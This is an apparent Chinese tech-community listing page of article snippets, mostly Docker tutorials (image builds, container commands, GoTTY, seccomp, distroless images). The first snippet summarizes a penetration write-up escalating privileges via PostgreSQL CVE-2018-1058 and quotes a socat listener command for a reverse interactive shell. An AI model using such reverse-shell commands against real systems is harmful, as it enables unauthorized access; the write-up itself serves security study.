首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

第22篇:一次艰难PostgreSQL不出网提权过程

:其中一个漏洞是CVE-2018-1058,漏洞描述是“PostgreSQL9.3到10版本中存在一个逻辑错误,导致超级用户不知情情况下触发普通用户创建恶意代码,导致执行一些不可预期操作”。...echo命令写二进制文件 编译后提权文件做好了,但是此postgresdocker环境太精简了,很多程序都没有:wget命令不存在、curl不存在、python不存在,而且服务器还不出网,所以通过下载文件方式去写入提权文件...这个提权exp需要交互环境!!!接下来需要传一个nc啥反弹shell获取交互环境吗?可是nc也不一定能获取纯交互环境呀。想到了一个好久没用工具socat,解决了这个问题。...执行如下命令后,将会获取到一个完全交互TTY会话: Vps上监听端口 socat file:`tty`,raw,echo=0 tcp-listen:8888 内网服务器上运行 socat exec:...(下图来源于网络) 分割二进制文件写入成功 把这个socat单文件转成16进制格式,通过postgres提权命令执行写入。结果通过ls -lah命令发现文件没有写进去,原因在哪里呢?

1.2K30

万字长文:彻底搞懂容器镜像构建

大家好,是张晋涛。 将在这篇文章中深入 Docker 源码,与你聊聊镜像构建原理。 文章过长,目录如下: ?...Docker 架构 (图片来源:docker overview) docker CLI 与 dockerd 交互是通过 REST API 来完成,当我们执行 docker version 时候过滤...但是当开启 stream 模式,对每个文件都进行压缩和解压操作那将会是很大资源浪费,同时也增加了其复杂度,所以 CLI 中便直接进行了限制,不允许同时使用 compress 和 stream 不可同时使用...可使用 .dockerignore 忽略不需要文件 之前文章中有分享过相关内容。这里我们看看它实现逻辑。...这也是为什么有时候你发现自己明明 Dockerfile 里面写了 COPY xx xx 但是最后没有发现该文件情况。很可能就是被 .dockerignore 给忽略掉了。

97730
您找到你想要的搜索结果了吗?
是的
没有找到

使用 Docker 客户端管理容器:这些命令必须知道

让我们举一个简单例子:我们希望立即执行 docker run alpine 以及容器退出,所以我们使用 -it ,这迫使它进行交互并使用当前终端。...因为想让这个会话在后台运行,所以使用键盘按键 Ctrl + p ,然后 Ctrl + q ,这样重复四次,如下图所示。...如果我们将一个文件复制到第一个容器 (例如 cranky_pike),那么只有这个容器会有该文件, 假设你不记得容器名称或 ID,这种情况下最好解决方案是习惯性地使用开关(switch) --name...当前容器列表是空为什么? Docker 客户端命令 docker container list 只列出活动容器。...要获得所有容器列表,只需同一个 Docker 客户端命令末尾添加开关 --all (如下图所示)。 ? 现在如果想回到一个特定容器,去检查一些东西或抓取一个文件该怎么做?

95310

Docker入门

容器名称必须是唯一,而且有效名称能够帮助我们理清楚上下级关系,所以明明很重要!!! 重新启动已经停止容器 例如,使用docker ps命令没有发现容器正在启动 ?...如果退出 shell 进程,容器也会随之停止运行 创建守护式容器 除了这些交互式运行容器,我们也可以创建长期运行容器。守护式容器没有交互会话,非常适合运行应用程序和服务。...执行命令后,我们看到容器内所有进程,运行进程用户,时间,执行指令 容器内部运行进程 Docker 1.3 之后,我们可以通过 docker exec 命令容器内部额外启动新进程。...可以容器内部运行进程有两种类型:后台任务和交互式任务。后台任务容器内部运行并且没有交互需求,而交互式任务保持在前台运行。...接着我们指定了要在容器内部运行名称以及要执行命令,在上面的例子中,这条命令会在 daemon_dave 容器中创建一个新 bash 会话,有了这个会话,我们就可以该容器中运行其他命令了。

90320

Docker入门

容器名称必须是唯一,而且有效名称能够帮助我们理清楚上下级关系,所以明明很重要!!! 重新启动已经停止容器 例如,使用docker ps命令没有发现容器正在启动 ?...如果退出 shell 进程,容器也会随之停止运行 创建守护式容器 除了这些交互式运行容器,我们也可以创建长期运行容器。守护式容器没有交互会话,非常适合运行应用程序和服务。...执行命令后,我们看到容器内所有进程,运行进程用户,时间,执行指令 容器内部运行进程 Docker 1.3 之后,我们可以通过 docker exec 命令容器内部额外启动新进程。...可以容器内部运行进程有两种类型:后台任务和交互式任务。后台任务容器内部运行并且没有交互需求,而交互式任务保持在前台运行。...接着我们指定了要在容器内部运行名称以及要执行命令,在上面的例子中,这条命令会在 daemon_dave 容器中创建一个新 bash 会话,有了这个会话,我们就可以该容器中运行其他命令了。

84630

Docker入门

容器名称必须是唯一,而且有效名称能够帮助我们理清楚上下级关系,所以明明很重要!!! 重新启动已经停止容器 例如,使用docker ps命令没有发现容器正在启动 ?...如果退出 shell 进程,容器也会随之停止运行 创建守护式容器 除了这些交互式运行容器,我们也可以创建长期运行容器。守护式容器没有交互会话,非常适合运行应用程序和服务。...执行命令后,我们看到容器内所有进程,运行进程用户,时间,执行指令 容器内部运行进程 Docker 1.3 之后,我们可以通过 docker exec 命令容器内部额外启动新进程。...可以容器内部运行进程有两种类型:后台任务和交互式任务。后台任务容器内部运行并且没有交互需求,而交互式任务保持在前台运行。...接着我们指定了要在容器内部运行名称以及要执行命令,在上面的例子中,这条命令会在 daemon_dave 容器中创建一个新 bash 会话,有了这个会话,我们就可以该容器中运行其他命令了。

80530

Docker入门

容器名称必须是唯一,而且有效名称能够帮助我们理清楚上下级关系,所以明明很重要!!! 重新启动已经停止容器 例如,使用docker ps命令没有发现容器正在启动 ?...如果退出 shell 进程,容器也会随之停止运行 创建守护式容器 除了这些交互式运行容器,我们也可以创建长期运行容器。守护式容器没有交互会话,非常适合运行应用程序和服务。...执行命令后,我们看到容器内所有进程,运行进程用户,时间,执行指令 容器内部运行进程 Docker 1.3 之后,我们可以通过 docker exec 命令容器内部额外启动新进程。...可以容器内部运行进程有两种类型:后台任务和交互式任务。后台任务容器内部运行并且没有交互需求,而交互式任务保持在前台运行。...接着我们指定了要在容器内部运行名称以及要执行命令,在上面的例子中,这条命令会在 daemon_dave 容器中创建一个新 bash 会话,有了这个会话,我们就可以该容器中运行其他命令了。

67020

Docker 容器中编辑文件

希望每次docker容器中安装vi时候谁会给我1美元...想要一个在运行docker容器编辑文件更简单方式。首先,尝试避免编辑文件,这违背了容器哲学理念(见最后一段)。...但是如果你有一个正当理由,下面教你怎么做。 为什么是Zedapp? 很多时候使用vi或Atom,就在几个月前偶然发现了Zedapp,一个自用编辑器。.../run/docker.sock:/var/run/docker.sock \   sequenceiq/zedapp 实际上只有一个单独二进制zedrem, 用术语:zed服务器和zed客户端在你使用它或者没有...现在你已经可以启用一个zedrem会话来编辑Docker容器目录内Zedapp文件了。...– copy(复制)选择容器中并启用 ,最后输出zedrem会话远程链接。

5.4K50

还在为线上服务 Docker 容器权限问题所烦恼吗,或许这款神器能助你彻底解决它!

默认情况下,GoTTY 会加载用户目录下 .gotty 文件 (~/.gotty) 为配置文件。...你只需浏览器中打开 http://127.0.0.1:8080/,就会看到运行命令,仿佛和运行在终端中一样。GoTTY 支持功能相当丰富,下面就来看几个比较常用使用实例。...允许 Web 终端中运行命令 默认情况下,GoTTY 不允许 Web 终端中进行输入。但是,你可以使用 -w 或 --permit-write 选项来启用 Web 终端可写入 TTY 特性。...使用 GoTTY 对容器内部进行管理 众所周知, Kubernetes / Docker 环境下,我们需要提供一种能力让研发或者其它相关技术人员可以不登陆宿主机情况下直接访问容器或者是查看容器中应用程序的当前状态...首先,我们先启动一个名为 gotty 新 tmux 会话。 $ gotty tmux new -A -s gotty 其次,另外一个终端上 attach 上这个 tmux 会话

42030

还在为线上服务Docker容器权限问题烦恼吗,或许这款神器能助你彻底解决它!

默认情况下,GoTTY 会加载用户目录下 .gotty 文件 (~/.gotty) 为配置文件。...你只需浏览器中打开 http://127.0.0.1:8080/,就会看到运行命令,仿佛和运行在终端中一样。GoTTY 支持功能相当丰富,下面就来看几个比较常用使用实例。...允许 Web 终端中运行命令 默认情况下,GoTTY 不允许 Web 终端中进行输入。但是,你可以使用 -w 或 --permit-write 选项来启用 Web 终端可写入 TTY 特性。...使用 GoTTY 对容器内部进行管理 众所周知, Kubernetes / Docker 环境下,我们需要提供一种能力让研发或者其它相关技术人员可以不登陆宿主机情况下直接访问容器或者是查看容器中应用程序的当前状态...首先,我们先启动一个名为 gotty 新 tmux 会话。 $ gotty tmux new -A -s gotty 其次,另外一个终端上 attach 上这个 tmux 会话

1K20

JavaScript 是如何工作:深入网络层 + 如何优化性能和安全

相反,有一组相关机制来限制对 DOM 访问、cookie 和会话状态管理、网络和浏览器其他组件。 资源和客户端状态缓存 最佳请求是没有重新请求。...发送请求之前,浏览器会自动检查其资源缓存,执行必要验证检查,并在满足指定条件情况下返回资源本地副本。...如果缓存中没有可用本地资源,则发出网络请求,并自动将响应放置缓存中,以便在有权限情况下进行后续访问。...没有单一最佳协议或 API。 每个稍微复杂应用程序都需要根据各种要求混合使用不同传输:与浏览器缓存交互,协议开销,消息延迟,可靠性,数据传输类型等。...某些协议可能提供低延迟传送(例如,Server-Sent Events,WebSocket),但可能不符合其他关键标准,例如在所有情况下利用浏览器缓存或支持有效二进制传输能力。

77130

LSM vs SECCOMP

为什么不能将Seccomp设计为LSM模块?什么时候使用Seccomp?接下来,且听我娓娓道来。 Secomp和LSM都可以让内核限制进程与系统交互,但却有大大不同。...CPUShare需要限制这种不可信二进制代码,以便只能读取输入,运算,然后输出结果。除此之外,不允许任何操作。...但是,通过LSM实现相同功能就会非常复杂,因为进程标准输出可能会重定向到不同内核对象(设备,文件,管道),而LSM本身又没有提供将这些对象映射到文件描述符方法。...最接近方法是使用systemd系统调用过滤器或者容器中使用seccomp过滤器(比如docker) 即使使用systemd系统调用过滤器和docker seccomp策略,seccomp过滤器管理最好还是由应用程序开发者实现...因为应用开发者比系统管理员更清楚他们应用程序需要哪些系统调用。另外,应用程序改变时,开发者更清楚在哪里更新这些过滤器。 结论 LSM和seccomp都提供了限制进程与系统交互机制。

67930

Brigade:保护软件供应链需要永恒警惕

但是你还在以某种形式构建和发布二进制文件吗?你二进制文件只能和编译它们编译器一样安全。 你构建 Docker 镜像吗?你捆绑到镜像中软件只能与你开始使用基本镜像一样安全。...这意味着我们可以将一个 Go 二进制文件放在一个 Docker 镜像上,这个镜像实际上不包含任何内容,并且仍然是可执行。让我们试一试。...第一阶段使用 golang:1.18 镜像作为其基础(Grype 该镜像中发现了 347 个漏洞),但第二阶段将第一阶段构建静态链接二进制文件副本放置最小 Docker 基础镜像 scratch...我们遇到第一个问题是,我们软件极有可能需要与外界交互情况下,缺少任何系统级包意味着缺少任何类型 SSL 信任存储。祝你能顺利使用 HTTPS。...构建第二阶段,我们甚至无法运行 useradd 二进制文件来创建替代用户。

38020

5个你必须知道Docker实用工具

为了帮助你,已经收集了日常工作中用到很有趣很实用Docker工具。这些让工作更加高效,消除了很多手动工作。 让我们来看看我使用Dockerize工具过程中发现每个工具。...在上面显示命令中,我们安装了Docker套接字文件,以便docker-gc可以与Docker API进行交互。我们设置一个环境变量DRY_RUN = 1,以查找哪些容器和镜像将被删除。...上述命令输出如下: 如果您还想使用docker-gc清理,则可以再次运行没有DRY_RUN标志docker-gc来执行清理。 上述命令输出将告诉您docker-gc删除所有镜像和容器。...要使用docker-slim,您必须从Github下载其二进制文件二进制文件可用于Linux和Mac。下载二进制文件后,将其添加到PATH中。...个人项目中,发现它在大多数情况下都有效。 您可以从其文档中了解更多关于docker-slim信息。

1.3K90

WASM能否取代Docker

它引入了新抽象层次,使WASM二进制文件可以“编译一次,就能在任何地方运行”,而与底层平台无关。这就是去年让对WASM感到兴奋原因,也是引发本周刊中发表这篇文章原因。...当我在对服务进行Docker化时,意识到:“为什么不能将我Rust微服务编译成WASM,并像无服务器功能一样基础架构上按原样运行它?”就在那时,开始研究WASM无服务器环境中使用。...已经使用Kubernetes来管理我部署(因此,对微服务进行Docker化),为什么不能在没有附加虚拟化情况下运行原始WASM二进制文件,就像在Kubernetes上运行Docker容器一样。...“重要是,WASM很高层面上具备两个主要特征,Kubernetes生态系统或许能够利用它优势: 与容器相比,WASM及其运行时可以快速执行并且体积非常小 WASM默认情况下不能做任何事情;只有明确权限下才能执行...仅通过LXC,容器执行还是会受限于底层体系结构,比如,你试过Windows在运行Docker嘛?懂你困难。

2K3310

使用 Kubernetes 模糊测试

例如,也许我们关心给定二进制文件 ELF 导入解析部分最新更改。在这种情况下,我们可以围绕 .dynsym/.dynamic/etc... 部分构建我们突变。...新构建 docker fuzzingharness 镜像构建完成后最终 Jenkins 构建执行rollout restart以获取 Kubernetes 部署中Docker 镜像。...通过 gdb 中逐步执行应用程序最终验证显示 strdup 存在相同问题并且无法访问内存。 最后,我们对崩溃是如何发生有了一个很好了解,但是为什么?...这个函数调用在一个迭代程序段存根中。某些情况下 name不会设置为任何值,因此 strdup 没有字符串可以复制。这显示在下面的代码片段中。幸运是,这是一个简单解决方法,并且PR 已入站!...只是“用剪刀跑步”,这个周末没有花时间去做。 问题:复制崩溃 Minikube 会为每个部署 kvm 节点创建一个专用 ssh 密钥对。

1.5K20

Docker运行命令示例

从版本1.13开始,Docker CLI进行了重组,并且所有命令都被分组与之交互对象下。 由于run命令与容器交互,因此它现在是docker container子命令。...在前台中运行容器 默认情况下,当docker run命令未提供任何选项时,根进程将在前台启动。这意味着来自根进程标准输入,输出和错误将附加到终端会话。...退出后移除容器 默认情况下,当容器退出时,其文件系统将保留在主机系统上。...--rm选项告诉docker run命令容器自动退出时将其删除: docker container run --rm nginx 容器退出后,Nginx映像可能不是清理容器文件系统最佳示例。...此选项通常用于执行短期任务(例如测试或数据库备份)前台容器。 设置容器名称 Docker中,每个容器都通过UUID和名称来标识。

1.2K10

三个技巧,将Docker镜像体积减小90%【面试+工作】

三个技巧,将Docker镜像体积减小90%【面试+工作】 ? 构建Docker容器时,应该尽量想办法获得体积更小镜像,因为传输和部署体积较小镜像速度更快。...为什么使用&&?而不是使用两个RUN语句代替呢?比如: ? 从Docker 1.10开始,COPY、ADD和RUN语句会向镜像中添加新层。前面的示例创建了两个层而不是一个。 ?...但distroless版本是原始操作系统精简版,没有了额外二进制文件,所以容器里没有shell! 没有shell情况下,如何attach到正在运行容器呢? 答案是,你做不到。...之所以说是坏消息,因为你只能在容器中执行二进制文件。你可以运行唯一二进制文件是Node.js: ?...添加到Docker镜像每个二进制文件都会给整个应用程序增加一定风险。 只容器中安装一个二进制文件可以降低总体风险。

1.4K10
领券